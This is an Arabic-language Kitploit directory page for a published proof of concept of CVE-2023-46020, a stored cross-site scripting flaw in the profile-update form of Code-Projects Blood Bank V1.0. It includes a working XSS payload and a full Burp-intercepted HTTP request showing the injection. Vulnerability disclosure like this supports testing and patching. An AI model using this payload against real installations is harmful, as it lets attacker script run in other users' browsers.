Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability — إثبات مفهوم لثغرة نص برمجي عبر المواقع المخزنة (XSS) في نظام Code-Projects Blood Bank V1.0 عبر معلمات ملف شخصي غير منقحة، مع حقن الحمولة وتوضيح التشغيل. | Kitploit
أدوات/GitHubGitHub/ersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubersinerenler/cve-2023-46020-code-projects-blood-bank-1.0-stored-cross-site-scripting-vulnerability

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات مفهوم لثغرة نص برمجي عبر المواقع المخزنة (XSS) في نظام Code-Projects Blood Bank V1.0 عبر معلمات ملف شخصي غير منقحة، مع حقن الحمولة وتوضيح التشغيل.

عرض المستودع
منذ 2 سنواتلم تتم المراجعة بعد

CVE-2023-46020-Code-Projects-Blood-Bank-1.0-Stored-Cross-Site-Scripting-Vulnerability

  • مؤلف الاستغلال: ersinerenler

الصفحة الرئيسية للبائع

  • https://code-projects.org/blood-bank-in-php-with-source-code

رابط البرنامج

  • https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

نظرة عامة

  • إصدار Code-Projects Blood Bank V1.0 عرضة لثغرة أمنية حرجة تتعلق بتخزين البرمجة النصية عبر المواقع (Stored XSS) عبر عدة معاملات (rename, remail, rphone, و rcity) في ملف /updateprofile.php. يفشل التطبيق في تنقية البيانات المقدمة من المستخدم بشكل كافٍ، مما يسمح للمهاجمين بحقن نصوص ضارة في التطبيق. قد يؤدي هذا إلى تنفيذ نصوص برمجية عشوائية في متصفحات المستخدمين غير المتوقعين، مما قد يعرض أمنهم وخصوصيتهم للخطر في سياق الموقع المتأثر.

تفاصيل الثغرة

  • CVE ID: CVE-2023-46020
  • الإصدار المتأثر: Blood Bank V1.0
  • الملف القابل للاستغلال: updateprofile.php
  • المعاملات: rename, remail, rphone, rcity
  • نوع الهجوم: محلي

المراجع:

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46020
  • https://nvd.nist.gov/vuln/detail/CVE-2023-46020

الوصف

  • المعاملات rename, remail, rphone, و rcity في ملف /file/updateprofile.php من Code-Projects Blood Bank V1.0 عرضة لثغرة تخزين البرمجة النصية عبر المواقع (Stored XSS). تنشأ هذه الثغرة بسبب عدم كفاية التحقق من صحة الإدخال وتنقية البيانات المقدمة من المستخدم. يمكن للمهاجم استغلال هذا الضعف عن طريق حقن نصوص ضارة في هذه المعاملات، والتي عند تخزينها على الخادم، قد يتم تنفيذها عند عرض المستخدمين الآخرين لملف تعريف المستخدم المتأثر.

إثبات المفهوم (PoC) :

  • اعتراض طلب POST إلى updateprofile.php عبر Burp Suite
  • حقن الحمولة في المعاملات القابلة للاستغلال
  • الحمولة: "><svg/onload=alert(document.domain)>
  • مثال لطلب معامل rname
root@kitploit:~
POST /bloodbank/file/updateprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Origin: http://localhost
Connection: close
Referer: http://localhost/bloodbank/rprofile.php?id=1
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update
  • انتقل إلى صفحة الملف الشخصي وقم بتشغيل XSS
image
تنزيل الأداة